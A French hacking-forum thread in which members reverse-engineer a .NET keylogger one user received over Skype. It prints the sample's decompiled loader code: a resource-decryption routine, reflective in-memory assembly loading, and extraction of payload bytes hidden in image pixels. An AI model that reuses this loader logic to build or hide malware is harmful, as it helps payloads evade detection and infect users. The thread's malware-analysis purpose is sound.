[Help] Conversions.ToString

    Publicités

Users Who Are Viewing This Thread (Total: 0, Members: 0, Guests: 0)

Status
Not open for further replies.

Hotman

Nouveau membre
Jun 11, 2012
2
0
301
34
Bonjour,

Je cherche à crack un keylogger qu'un mec a essayé de m'envoyer sur skype. Ca ne ressemble à rien à ce que j'ai déja vu , ce n'est pas du ololloger , ni du multistealer.

Le keylogger est codé en .Net, j'ai desobfuqué le code source et j'ai les logs mais ils sont cryptés :

public static void Main()
{
GClass3 gClass3 = new GClass3();
string str = Conversions.ToString(gClass3.method_0().GetObject("fMeXyFbWtV"));
new GClass2.GClass1(GClass2.smethod_0(ref str, (byte[])gClass3.method_0().GetObject("bIgWe")));
}

C'est quoi cette fonction "conversion.to.string" ?

Lien du key : Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!

PS : HxD ne donne rien :(

PS2 : Je n'ai pas tester ProcessH4cker pour la seule et bonne raison que je ne connais pas la dangerosité de ce key. Je l'essaierai sur mon "pc cobaye" ce soir.
 
Last edited:

TheHardButcher

Programmeur C/C++
V
Dec 14, 2009
1,461
58
964
France
Pour faire une résumer les donnée sont d'abord acquit ( le ToString on s’en fou, il permet de retourner une variable de type String ) puis décrypter à l'aide de :
// GClass2
public static byte[] smethod_0(ref string Data, byte[] KB)
{
byte[] bytes = Encoding.Default.GetBytes(Data);
int arg_16_0 = 0;
checked
{
int num = (bytes.Length - 1) * 8;
for (int i = arg_16_0; i <= num; i++)
{
bytes[i % bytes.Length] = (byte)(((int)((bytes[i % bytes.Length] ^ KB[i % KB.Length]) - bytes[(i + 1) % bytes.Length]) + 256) % 256);
}
Array.Resize<byte>(ref bytes, bytes.Length - 1);
return bytes;
}
}
 

Hotman

Nouveau membre
Jun 11, 2012
2
0
301
34
Ok , voici ce que ca donne en VB.Net

Imports System.Text

Public Class Form1

Public Shared Function smethod_0(ByRef Data As String, ByVal KB As Byte()) As Byte()
Dim bytes As Byte() = Encoding.Default.GetBytes(Data)
Dim length As Integer = (CInt(bytes.Length) - 1) * 8
Dim i As Integer = 0
Do
bytes(i Mod CInt(bytes.Length)) = CByte((((bytes(i Mod CInt(bytes.Length)) Xor KB(i Mod CInt(KB.Length))) - bytes((i + 1) Mod CInt(bytes.Length)) + 256) Mod 256))
i = i + 1
Loop While i <= length
Array.Resize(Of Byte)(bytes, CInt(bytes.Length) - 1)
Return bytes
End Function


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim crypted As String = "fMeXyFbWtV"
Dim monbyte() As Byte = {0, 0}
Dim login As String = smethod_0(crypted, monbyte)

MsgBox("login : " & login)
End Sub
End Class

Par contre, j'ai un message d'erreur : "Impossible de convertir une valeur de type 'Byte' en 'Tableau à 1 dimension(s) de Byte" je ne comprend pas pourquoi :/
 
Mar 30, 2011
1,014
1
944
In Your Ass
Dim crypted As String = "fMeXyFbWtV"

??

c est pas un login et mot de passe que tu cherche c est un tableau de data (un fichier en faite) a decrypter
 
Mar 30, 2011
1,014
1
944
In Your Ass
En faite non , au premier coup tu doit decrypter un fichier nommé "rFjWnCdXeD"
et c est dans ce fichier que tu trouveras comment decrypter l image que tu cite

Code:
  Public Shared Function _ImageToByte(ByVal Picture As Bitmap) As Byte()
            Dim buffer2 As Byte() = New Byte(((Picture.Height * Picture.Width) + 1)  - 1) {}
            Dim num2 As Integer = (Picture.Width - 1)
            Dim num3 As Integer = (Picture.Height - 1)
            Dim index As Integer = 0
            Dim num6 As Integer = num3
            Dim i As Integer = 0
            Do While (i <= num6)
                Dim num7 As Integer = num2
                Dim j As Integer = 0
                Do While (j <= num7)
                    buffer2(index) = CByte(((Picture.GetPixel(j, i).ToArgb >> &H10) And &HFF))
                    index += 1
                    j += 1
                Loop
                i += 1
            Loop
            Return buffer2
        End Function

---------- Message ajouté à 22h42 ---------- Le message précédent était à 22h10 ----------

fichier final passer au virus total fait mal au fesse ;)

Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!

33/41 c est la fete du slipe
 

Ben

Master Chief
V
Ancien staff
Mar 3, 2011
4,069
3
944
Un peut partout.
Là ont a les fonctions, ok ?

GClass2 :

Public Shared Function smethod_0(ByRef Data As String, ByVal KB As Byte()) As Byte()
Dim bytes As Byte() = Encoding.Default.GetBytes(Data)
Dim num As Integer = ((bytes.Length - 1) * 8)
Dim i As Integer = 0
Do While (i <= num)
bytes((i Mod bytes.Length)) = CByte(((((bytes((i Mod bytes.Length)) Xor KB((i Mod KB.Length))) - bytes(((i + 1) Mod bytes.Length))) + &H100) Mod &H100))
i += 1
Loop
Array.Resize(Of Byte)((bytes), (bytes.Length - 1))
Return bytes
End Function

Public Sub method_0()
GClass0.smethod_0(Me.byte_0, "A", "_RECALL", New Object(0 - 1) {})
End Sub

GClass0 :

Public Shared Function smethod_0(ByVal AssemblyName As Byte(), ByVal ClassName As String, ByVal MethodName As String, ByVal args As Object()) As Object
Dim obj2 As Object
Dim type As Type
For Each type In Assembly.Load(AssemblyName).GetTypes
If (type.IsClass AndAlso type.FullName.EndsWith(("." & ClassName))) Then
Dim objectValue As Object = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type))
Return RuntimeHelpers.GetObjectValue(type.InvokeMember(MethodName, BindingFlags.InvokeMethod, Nothing, RuntimeHelpers.GetObjectValue(objectValue), args))
End If
Next
Return obj2
End Function

GClass3 :

Public Function method_0() As ResourceManager
Return Me.resourceManager_0
End Function


Private resourceManager_0 As ResourceManager = New ResourceManager("qEnLd", Assembly.GetExecutingAssembly)

Là on l'actionne :

Dim class2 As New GClass3
GClass2.smethod_0((Conversions.ToString(class2.method_0.GetObject("fMeXyFbWtV"))), DirectCast(class2.method_0.GetObject("bIgWe"), Byte()))

à partir de là comment tu fait pour pouvoir exploiter ce qu'il y a dans le fichier ressource (qEnLd)? , je comprends pas t'a un programme que tu utilise ou bien ?
 
Last edited:
Mar 30, 2011
1,014
1
944
In Your Ass
je me sert du debuggeur de visualstudio , en modifiant le code du malware pour qu il sauvegarde l assembli au lieu de l executer
 
Status
Not open for further replies.